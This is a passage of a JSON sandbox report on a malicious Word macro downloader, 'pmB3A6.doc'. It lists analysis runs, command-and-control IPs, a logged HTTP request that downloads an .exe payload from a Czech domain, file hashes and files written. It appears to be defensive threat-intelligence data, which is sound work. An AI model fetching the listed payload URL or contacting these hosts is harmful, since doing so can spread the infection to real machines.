Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"5a1f23057ca3e17d81699f69","environment_id":300,"state":"ERROR","error_type":"The system is configured to reject 32-bit native files on a 64-bit linux virtual machine","verdict":"undetected","submit_name":"pmB3A6.doc","analysis_start_time":"2017-11-29T21:13:41+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"59000372aac2ed2d63c0066f","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W97M.Downloader","contacted_countries":["CZE"],"submit_name":"pmB3A6.doc","analysis_start_time":"2017-04-26T04:18:59+00:00","indicators_count":{"informative":28,"suspicious":5,"malicious":9},"tags":["Network Traffic","Extracted Files","Carved Files"],"is_in_unified_schema":true},{"id":"564f08f40e316dc47de588bf","environment_id":1,"environment_description":"Windows 7 32 bit (EN)","state":"SUCCESS","verdict":"malicious","threat_score":76,"malware_family":"LooksLike.Macro.Malware","contacted_countries":["CZE","ROU","USA"],"submit_name":"pmB3A6.doc","analysis_start_time":"2015-11-20T05:50:26+00:00","indicators_count":{"informative":9,"suspicious":13,"malicious":8},"tags":["Network Traffic","Extracted Files","Carved Files"],"is_in_unified_schema":true},{"id":"564f01530e316de77164a0d6","environment_id":4,"state":"ERROR","error_type":"Failed to save report to webservice","verdict":"undetected","submit_name":"(70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e ) - pmB3A6.doc","analysis_start_time":"2015-11-20T11:17:39+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"564f01530e316de77164a0d4","environment_id":2,"environment_description":"Windows 7 64 bit (DE)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"LooksLike.Macro.Malware","contacted_countries":["CZE"],"submit_name":"(70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e ) - pmB3A6.doc","analysis_start_time":"2015-11-20T05:18:00+00:00","indicators_count":{"informative":9,"suspicious":12,"malicious":7},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"88.86.117.154","port":80,"protocol":"TCP","country":"Czech Republic","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"address":"185.64.219.5","port":80,"protocol":"TCP","country":"Czech Republic","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"address":"157.252.245.32","port":2448,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"address":"89.32.145.12","port":8443,"protocol":"TCP","country":"Romania","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]}],"dns_resolutions":[{"domain":"pr-clanky.kvalitne.cz","address":"88.86.117.154","country":"Czech Republic","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]}],"http_requests":[{"host":"pr-clanky.kvalitne.cz","host_ip":"88.86.117.154:80","url":"/65y3fd23d/87i4g3d2d2.exe","method":"GET","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"host":"","host_ip":"192.168.56.20:49164","url":"","method":"","response_code":"200","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}],"processes":[{"pid":2640,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\pmB3A6.doc\"","sha256":"c0a081e6d5e0279be4503f26f0b01bcedeebf1dfb95fcbe4fb935f881d111da0","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00179921-00002640","icon":"$2d"},{"pid":1576,"ppid":2640,"name":"WerFault.exe","command_line":"","normalized_path":"%WINDIR%\\System32\\WerFault.exe","parent_uid":"00179921-00002640","uid":"00193655-00001576"},{"pid":3512,"ppid":0,"name":"DWWIN.EXE","command_line":"","normalized_path":"%WINDIR%\\System32\\DWWIN.EXE","uid":"00192137-00003512","icon":"$2e"}],"all_imported_dlls":["dhcpcsvc.DLL","msado15.dll","CRYPTSP.dll","SHELL32.dll","LPK.dll","WINMM.dll","VBE6.DLL","shell32.dll","WININET.dll","urlmon.dll","dwmapi.dll","Cabinet.dll","ws2_32.DLL","USER32.dll","WINTRUST.dll","dnsapi.DLL","fwpuclnt.dll","mscoree.dll","GPAPI.dll","USP10.dll","NSI.dll","MSVCR80.dll","MMDevAPI.DLL","schannel.DLL","bcryptprimitives.dll","WS2_32.dll","msxml5.dll","wshtcpip.dll","iphlpapi.DLL","COMCTL32.dll","wwintl.dll","Comctl32.dll","IMM32.DLL","cryptnet.dll","apphelp.dll","LINKINFO.dll","scp32.dll","SXS.DLL","DEVRTL.dll","riched20.dll","CRYPT32.dll","CLBCatQ.DLL","VBE6INTL.DLL","rasadhlp.dll","sfc.dll","midimap.dll","ADVAPI32.dll","AcSpecfc.DLL","COMDLG32.dll","msvcrt.dll","sensapi.dll","mso.dll","RpcRtRemote.dll","dhcpcsvc6.DLL","msi.dll","mscoreei.dll","profapi.dll","pnrpnsp.dll","MPR.dll","PSAPI.DLL","DCIMAN32.dll","rsaenh.dll","AUDIOSES.DLL","sechost.dll","CFGMGR32.dll","Normaliz.dll","NLAapi.dll","propsys.dll","ntdll.dll","MSOINTL.DLL","ole32.dll","wwlib.dll","ncrypt.dll","wship6.dll","rasman.dll","DDRAW.dll","GDI32.dll","msxml3.dll","RPCRT4.dll","IMM32.dll","USERENV.dll","winrnr.dll","kernel32.dll","MSORES.DLL","MSCTF.dll","SETUPAPI.dll","WINHTTP.dll","slc.dll","VERSION.dll","napinsp.dll","MSPTLS.DLL","rtutils.dll","comctl32.dll","SspiCli.dll","shdocvw.dll","wininet.dll","uxtheme.dll","CRYPTBASE.dll","RASAPI32.dll","SHLWAPI.dll","msproof6.dll","OLEAUT32.dll","ntmarta.dll","MSOSTYLE.DLL","srvcli.dll","mswsock.dll","wintrust.dll","KERNELBASE.dll","DEVOBJ.dll","credssp.dll","secur32.dll","mscms.dll","cscapi.dll","ntshrui.dll","dhcpcsvc6.dll","dnsapi.dll","VBE7INTL.DLL","msxml3r.dll","WWLIB.DLL","msvcr90.dll","rpcss.dll","bcrypt.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","mxdwdrv.dll","msxml6.dll","USP10.DLL","advapi32.dll","winnsi.dll","rpcrt4.dll","user32.dll","VxSSL64.dll","nlaapi.dll","msproof7.dll","unidrvui.dll","usp10.dll","OART.DLL","cryptsp.dll","normaliz.dll","webio.dll","userenv.dll","GKWord.dll","ws2_32.dll","GFX.DLL","mscorwks.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","fontsub.dll","KernelBase.dll","powrprof.dll","wshqos.dll","msdart.dll","dui70.dll","api-ms-win-core-synch-l1-2-0.dll","version.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","scrrun.dll","msxml6r.dll","api-ms-win-downlevel-user32-l1-1-0.dll","sspicli.dll","VBE7.DLL","WSHTCPIP.DLL","RICHED20.DLL","sxs.dll","IPHLPAPI.DLL","GdiPlus.dll","SendToOneNoteUI.dll","setupapi.dll","winhttp.dll","oleaut32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","linkinfo.dll","msimg32.dll","OSPPC.DLL","Wldap32.dll","nsi.dll","npmproxy.dll","imm32.dll","clbcatq.dll","mpr.dll","shlwapi.dll","WWINTL.DLL","api-ms-win-downlevel-ole32-l1-1-0.dll","cryptbase.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","netprofm.dll","ntvdm64.dll","gdi32.dll","MSO.DLL","cfgmgr32.dll","ExplorerFrame.dll","duser.dll","xmllite.dll","imageres.dll","lpk.dll","wtsapi32.dll","iertutil.dll","FWPUCLNT.DLL","api-ms-win-downlevel-version-l1-1-0.dll","dhcpcsvc.dll","msctf.dll","devobj.dll","OSETUPPS.DLL","wshtcpip.DLL","msdrm.dll","mxdwdui.DLL","mlang.dll","devrtl.dll","winmm.dll","msasn1.dll","ALRTINTL.DLL","NapiNSP.dll","OSPPCEXT.DLL","WinSCard.dll","SensApi.dll","wkscli.dll","crypt32.dll","sfc_os.dll","netutils.dll","vdmredir.dll","netapi32.dll","ntvdmd.dll","rasapi32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"87i4g3d2d2[1].exe","sha256":"8e74d308629929f17ad1759da05863a87b7037a19bb72431b76dcf0aaab806cb","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"trume1.exe","sha256":"8e74d308629929f17ad1759da05863a87b7037a19bb72431b76dcf0aaab806cb","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"opa12.dat","sha256":"9ea77d05d102233c82e1de3a9853948c9487ba1c7ea0bdb555e1a99700a90695","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"94308059B57B3142E455B38A6EB92015","sha256":"e3cd56dae935d6bfd93ee51878e20b6dfb164faf9c7ef20e562edac17f94c0de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"157_252_245_32[1].txt","sha256":"d48d96a554a5e7688bc7a7c0d41feecf2ba96ba2085540610567f11063491798","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"~WRS{E06B916A-0BBF-495F-9071-E1539A5BAC3A}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"CabD6BE.tmp","sha256":"3d5564a752a73b7e4b044144f93c4a649ff37a6a6ab9a3a745975fe4eb1f514c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"CabD8F3.tmp","sha256":"3d5564a752a73b7e4b044144f93c4a649ff37a6a6ab9a3a745975fe4eb1f514c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"CabF0A3.tmp","sha256":"3d5564a752a73b7e4b044144f93c4a649ff37a6a6ab9a3a745975fe4eb1f514c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"TarD6BF.tmp","sha256":"da1df45dcd494958f8cc5feabb934f1e39466654d674012450ae9e3160733792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"TarD8F4.tmp","sha256":"da1df45dcd494958f8cc5feabb934f1e39466654d674012450ae9e3160733792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"TarF0A4.tmp","sha256":"da1df45dcd494958f8cc5feabb934f1e39466654d674012450ae9e3160733792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"index.dat","sha256":"0748eceb0e2acbb2863863eaa08b971f798b0af77c1d5d0d8f13692b7a5c4e86","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Word12.pip","sha256":"7b3c4e66586e01270667e01a1e43908d7ad746f601004c33e73d65c441fda91f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"~$Normal.dotm","sha256":"f1be17c5e1252324277549951585e94e8281944b5815ee8a9b1c4ead1c7ed386","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"~$0c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e_pmB3A6.doc","sha256":"d0fe9b2a87ae4851036c41b37bcf2e526f06e2e11e171a9ff62e6e4e784fae54","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"SCHEDLGU.TXT","sha256":"5a97f309ea147609739ddc46cae239b7a57c84dd09e23cef6280590b2b3572d3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"setupact.log","sha256":"66eb51c62e5147e614f00e63293e9cc9e8f3ce0c6fd60eef61a7caab3cdaf992","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"~_pmB3A6.doc","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"pmB3A6.LNK","sha256":"d63ce2738fbd5e0ab016b1e24c3ac7eecf91447cfa4eacf31d0fb6b71a308b6c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"~WRS_713FD58D-9FFB-4849-8121-A5FD527655BE_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"3001078.cvr","sha256":"5793fe573f6a4dfd08c1c57ce56704481f5b900cd288148bc7d2f7e2a9f4b946","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"~_Normal.dotm","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"carved_0.exe","sha256":"8e74d308629929f17ad1759da05863a87b7037a19bb72431b76dcf0aaab806cb","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"89_32_145_12[1].txt","sha256":"1ed8dfbc18bd13902d6f2d78ab08f0df5e95498cba857bf78b02c364b6f2daa6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"~WRS{2D49964E-0ADC-492A-855B-75D64EBC810A}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Cab4DE7.tmp","sha256":"3d5564a752a73b7e4b044144f93c4a649ff37a6a6ab9a3a745975fe4eb1f514c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Cab4E57.tmp","sha256":"3d5564a752a73b7e4b044144f93c4a649ff37a6a6ab9a3a745975fe4eb1f514c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Cab6490.tmp","sha256":"3d5564a752a73b7e4b044144f93c4a649ff37a6a6ab9a3a745975fe4eb1f514c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Tar4DE8.tmp","sha256":"da1df45dcd494958f8cc5feabb934f1e39466654d674012450ae9e3160733792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Tar4E58.tmp","sha256":"da1df45dcd494958f8cc5feabb934f1e39466654d674012450ae9e3160733792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Tar6491.tmp","sha256":"da1df45dcd494958f8cc5feabb934f1e39466654d674012450ae9e3160733792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"~$pmB3A6.doc","sha256":"a739a2d3c3d56510c81e4b47517608ddcd02bcec85afee18fa016f9d71583099","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"~WRS{FFBA4A08-03DD-4A0B-BDE2-8C948132FC42}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"scsEDB5.tmp","sha256":"ee06792197c3e025b84860a72460eaf628c66637685f8c52c5a08a9cc35d376c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"scsEDD5.tmp","sha256":"06d61c23e6ca59b9ddad1796eccc42c032cd8f6f424af6cfee5d085d36ff7dfd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"~WRD0000.tmp","sha256":"d4e59996f0391637f4c4b5d6426c9dbc5bf3fdf008b19fb63a4a25075fa2248a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"pmB3A6.doc.lnk","sha256":"e45242e765a21d0537e946d9fdcad6359a95ee511fae871df847c176380fc447","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]}],"files_written":[{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\office12\\Cultures\\office.odf","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\OFFICE11\\msxml5.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"C:\\PROGRA~3\\MICROS~1\\OFFICE\\DATA\\OPA12.BAK","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\ID_10031.DPC","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%WINDIR%\\splwow64.exe","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"MountPointManager","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%USERPROFILE%\\Searches\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%USERPROFILE%\\Contacts\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%USERPROFILE%\\Saved Games\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%WINDIR%\\System32\\shdocvw.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\id_10031.dpc","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Office\\Data\\89451.bpc","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%WINDIR%\\system32\\wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{99eeffb2-ab17-4bfc-9bbc-d2001e0c4fc5}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{85c6619c-a5e8-4995-b351-1f8b696a9c13}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"root#*teredo#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{c23e0e89-6218-47ad-aaa6-4a30095e2323}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{29898c9d-b0a4-4fef-bdb6-57a562022cee}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e43d242b-9eab-4626-a952-46649fbb939a}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"root#ms_ndiswanbh#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanbh","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#ms_ndiswanip#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanip","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#ms_ndiswanipv6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanipv6","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{8e301a52-affa-4f49-b9ca-c79096a1a056}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{df4a9d2c-8742-4eb1-8703-d395c4183f33}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{71f897d7-eb7c-4d8d-89db-ac80d9dd2270}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"root#system#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{eeab7790-c514-11d1-b42b-00805fc1270e}&asyncmac","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%TEMP%\\~DFBCAAACC87F1ACEA7.TMP","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"C:\\share\\~$0c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e_pmB3A6.doc","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}